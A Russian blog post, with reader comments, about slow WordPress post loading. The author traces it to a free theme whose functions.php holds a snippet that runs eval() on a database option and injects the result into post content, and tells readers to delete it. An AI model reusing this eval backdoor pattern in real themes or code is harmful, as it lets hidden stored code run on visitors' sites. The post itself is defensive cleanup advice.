Независимости 200100 Беларусь, Минск

Очень медленно загружаются записи (посты) на WordPress.

Очень медленно (долго) загружаются записи (посты) на WordPress

Если очень медленно (долго) загружаются записи (посты) вашего сайта (блога) на WordPress, то образовалась очень жирная проблема. Но у каждой проблемы есть решение! Хотите разобраться, читайте дальше.

Так, для начала давайте определимся, что нам дает медленная загрузка страницы. А она нам ничего и не дает, а только забирает:

1) падает трафик, так как не у всех посетителей хватает сил дождаться полной загрузки страницы;

2) роботы не могут зайти и проиндексировать страницу, как следствие появляется куча ошибок на стороне сервера, если быть точным HTTP 500 INTERNAL SERVER ERROR;

3) Следствием ошибки 500 является выбытие из поиска страниц сайта и т.д. и т.д.

Варианта решения проблемы с медленной загрузкой страниц на сайте WordPress я нашел два:

1) Копаем среди своих установленных плагинов, о чем мы говорили в этой статье.

2) Открываем файл functions.php установленной у вас темы (шаблона).
И ищем код, похожий на вот этот:

1
2
3
4
5
6
7
add_filter('the_content', '_bloginfo', 10001);
function _bloginfo($content){
global $post;
if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){
return $co;
} else return $content;
}

И удаляем его со всеми потрохами.

Зачем? Затем, что данная функция тянет из нашей же базы некую опцию, которая на странице записи может преобразоваться во все, что угодно, в том числе и вредоносный код, и 1,2,3 и т.д. ссылки и многое другое.

Откуда это? А, из бесплатного шаблона. Так, что у вас есть выбор, либо сразу купить шаблон без дырок, либо, соответственно, ждать когда и какая тварь вылезет из бесплатного шаблона. Кстати, у меня этот код стал пудрить мозг аж через почти два года после установки шаблона.

Всем успехов! И до новых встреч!



6 комментариев

  • Дима:

    Спасибо, помогло. А то уже не знал куда копать. 3 года все было нормально и тут вылезло…

    • Александр:

      Рад, что был полезен! Вам успехов!

  • никодим:

    Спасибо , гениально ! Как Вы поняли что там собака порылась ?? Интересно почему много лет с этим кодом работало, а где то с 18-11-2016 заклинило ?

    • Александр:

      Рад, что информация вам помогла. Когда сайт вылетает из индекса, соответственно, теряешь клиентов и, как следствие, деньги, многое перекопаешь, поймешь или вспомнишь. А вот почему заклинило именно сейчас, вопрос скорее к тому, кто встроил этот зловредный код в вашу тему.

  • Вячеслав:

    Спасибо, просто СПАСИБО за этот совет. Вы молодец! Успехов Вам! И с Новым Годом)

    • Александр:

      Вас также с Новым годом и всего хорошего!

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

*

code